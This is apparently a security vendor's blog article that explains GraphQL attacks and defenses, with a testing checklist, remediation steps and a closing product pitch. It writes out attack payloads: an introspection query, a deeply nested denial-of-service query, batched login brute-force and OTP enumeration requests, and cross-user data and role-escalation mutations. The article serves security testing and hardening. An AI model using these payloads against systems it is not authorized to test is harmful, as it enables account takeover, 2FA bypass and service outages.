All articlesAttack Techniques

GraphQL Security Testing: What Automated Scanners Actually Find

July 3, 2026·10 min read·Nautillo Pro Security Team

GraphQL's flexible query model creates an attack surface that REST APIs don't have. Introspection exposes your entire schema. Nested queries can exhaust server resources. Batching bypasses rate limits. Resolvers that forget authorization checks hand over data they shouldn't. This guide covers what these attacks look like at the HTTP level and how automated scanning finds them.

Why GraphQL is different from REST (from an attacker's perspective)

REST APIs surface a fixed set of endpoints. An attacker has to enumerate paths to understand what's available. GraphQL exposes a single endpoint — typically /graphql — and, by default, answers questions about its own structure via introspection.

The practical consequence: a single well-crafted query can return your complete schema — every type, field, mutation, and argument — without authentication, in about 200ms. From there, an attacker knows exactly what to target, with no enumeration required.

The second difference is query flexibility. A REST endpoint returns what it returns. A GraphQL query is client-controlled — the caller decides the shape, depth, and relationships of the response. This power is what creates the depth and batching attack vectors.

Attack 1: Introspection — mapping your entire schema

Introspection is GraphQL's built-in self-documentation feature. It lets tools like GraphiQL and Postman autocomplete queries. In production, it hands attackers a complete blueprint of your API.

# Standard introspection query — what automated scanners send first
POST /graphql
Content-Type: application/json

{
  "query": "{ __schema { types { name fields { name type { name kind ofType { name kind } } } } } }"
}

# What comes back on a vulnerable endpoint (excerpt):
{
  "data": {
    "__schema": {
      "types": [
        { "name": "User", "fields": [
            { "name": "id" },
            { "name": "email" },
            { "name": "passwordHash" },   <-- exposed field name
            { "name": "stripeCustomerId" },
            { "name": "internalAdminFlag" }  <-- exposed field name
        ]},
        { "name": "Order", "fields": [...] },
        { "name": "AdminMutation", "fields": [...] }
      ]
    }
  }
}

The field names themselves are intelligence. internalAdminFlag, passwordHash, AdminMutation — these are targets. Even if they're behind authorization checks, knowing they exist directs every subsequent probe.

What scanners look for: a 200 response to the introspection query with a non-empty __schema payload. Disabled introspection returns an error or a null schema — that's the expected production state.

Attack 2: Field suggestion leakage

Even when introspection is disabled, many GraphQL implementations keep field suggestions active — the "Did you mean X?" error that fires when you query a field that doesn't exist but resembles one that does.

# Introspection disabled — but field suggestions leak the schema anyway
POST /graphql

{ "query": "{ usr { id } }" }

# Response:
{
  "errors": [{
    "message": "Cannot query field 'usr' on type 'Query'. Did you mean 'user' or 'users'?"
  }]
}

# Follow up:
{ "query": "{ user { passwrd } }" }

# Response:
{
  "errors": [{
    "message": "Cannot query field 'passwrd' on type 'User'. Did you mean 'password' or 'passwordHash'?"
  }]
}

Iterating through common field name variations with an automated tool recovers much of the schema that introspection was meant to hide. This is a frequently overlooked gap — teams disable introspection and consider it done, leaving suggestions enabled.

Attack 3: Query depth attacks

GraphQL allows queries to traverse object relationships arbitrarily. If a User has friends, and each friend is also a User with friends, a deeply nested query triggers exponential database lookups.

# 8-level nested query — a single request that can exhaust the database
POST /graphql

{
  "query": "{ user(id: 1) { friends { friends { friends { friends {
    friends { friends { friends { friends { id email } } } } } } } } } }"
}

# Each level multiplies DB queries:
# Level 1: 1 query
# Level 2: N queries (one per friend)
# Level 3: N² queries
# Level 8: N⁷ queries
#
# With N=10 friends per user: 10,000,000 database queries from one HTTP request

This is application-layer DoS with a single unauthenticated request. No flood required. Scanners test this by sending queries at increasing depth levels and measuring response time and server load.

Attack 4: Batching abuse — bypassing rate limits

GraphQL supports query batching: sending an array of operations in a single HTTP request. Rate limiting at the HTTP layer (by IP, by request count) doesn't account for how many operations are inside each request.

Credential brute-force via batching

# One HTTP request, 100 login attempts — bypasses per-IP rate limits
POST /graphql

[
  { "query": "mutation { login(email: "user@example.com", password: "password1") { token } }" },
  { "query": "mutation { login(email: "user@example.com", password: "password2") { token } }" },
  { "query": "mutation { login(email: "user@example.com", password: "password3") { token } }" },
  ...
  { "query": "mutation { login(email: "user@example.com", password: "password100") { token } }" }
]

# Each mutation executes. A rate limit of 10 req/min allows 1,000 password attempts/min.

OTP/2FA bypass via batching

# Enumerate all 10,000 possible 4-digit OTPs in 100 batched requests
POST /graphql

[
  { "query": "mutation { verifyOtp(code: "0000") { success } }" },
  { "query": "mutation { verifyOtp(code: "0001") { success } }" },
  ...
  { "query": "mutation { verifyOtp(code: "0099") { success } }" }
]

# 100 HTTP requests * 100 operations = 10,000 codes tested
# If no per-operation lockout: 2FA is effectively bypassed

Attack 5: Authorization bypass at the resolver level

REST APIs typically enforce authorization at the route level — middleware checks the token before the handler runs. In GraphQL, authorization must be enforced inside every resolver individually. The single-endpoint model makes it easy for teams to forget a field.

# Legitimate query as an authenticated user
{ "query": "{ me { id email } }" }

# Probe: does the users field exist and return other users' data?
{ "query": "{ users { id email stripeCustomerId internalNotes } }" }

# Probe: can I access another user's data directly?
{ "query": "{ user(id: 2) { email passwordHash } }" }

# Probe: does mutation lack auth check?
{ "query": "mutation { updateUser(id: 2, role: "admin") { id role } }" }

# What scanners look for:
# - 200 response with data (not an auth error) for cross-user queries
# - Sensitive fields returned for IDs that don't belong to the current session
# - Mutations that succeed without ownership checks

This is BOLA (Broken Object Level Authorization) applied to GraphQL — the same class of vulnerability as REST IDOR but harder to catch because the field-level surface area is much larger and less obvious than a URL like /api/users/2.

Testing checklist

01Send a full introspection query to /graphql. Check if __schema returns a complete type list.
02If introspection is disabled, probe field suggestions by querying near-miss field names (usr, passwrd, admin_flag).
03Send a deeply nested query (8+ levels on any circular relationship). Measure response time — timeouts or slowdowns indicate missing depth limits.
04Send a batched array of 50–100 identical mutations (e.g., login attempts). Check if all execute — if so, rate limiting is HTTP-level only.
05As an authenticated user, query other users' objects by ID. Check if authorization is enforced per-object.
06Query sensitive fields (passwordHash, internalNotes, stripeCustomerId) directly. Check if resolvers deny access.
07Attempt mutations that modify other users' data (updateUser, deletePost) with IDs you don't own.
08Check the error response format — verbose stack traces or internal SQL errors in GraphQL errors[] indicate misconfigured error handling.

Remediation

Disable introspection in production

All major GraphQL servers support disabling introspection via configuration. Apollo Server: introspection: false in production. GraphQL Yoga: maskedErrors + disable introspection plugin. This should be the default for any internet-facing endpoint. Keep it enabled only in development and staging environments behind authentication.

Disable field suggestions

This is separate from introspection and often overlooked. Apollo Server: use the apollo-server-plugin-disable-field-suggestions package. GraphQL Yoga: use the useDisableIntrospection plugin which also suppresses suggestions. Both must be disabled independently — disabling introspection alone is not sufficient.

Set query depth and complexity limits

Enforce a maximum query depth (typically 5–7 levels) and a complexity budget per query. Libraries: graphql-depth-limit (Node.js), graphql-query-complexity (Node.js), Strawberry's extensions in Python. Reject queries that exceed limits before execution — never let them reach the database.

Disable or restrict query batching

If you don't need batching, disable it. If you do, enforce per-operation rate limits in addition to per-request limits. Apollo Server: use the csrfPrevention option and limit batch size. Apply the same rate limiting logic to each operation in a batch as you would to individual requests.

Enforce authorization inside every resolver

Authorization middleware at the HTTP layer is not sufficient for GraphQL. Each resolver must independently verify that the authenticated user has permission to access the requested object and field. Use a library like graphql-shield (Node.js) or Strawberry's permission extensions (Python) to define authorization rules declaratively and apply them to the schema — this makes it harder to accidentally skip a field.

Test your GraphQL endpoint automatically

Nautillo Pro probes GraphQL endpoints for introspection exposure, field suggestion leakage, depth attacks, and batching abuse as part of its API discovery and exploitation module — no manual query crafting required.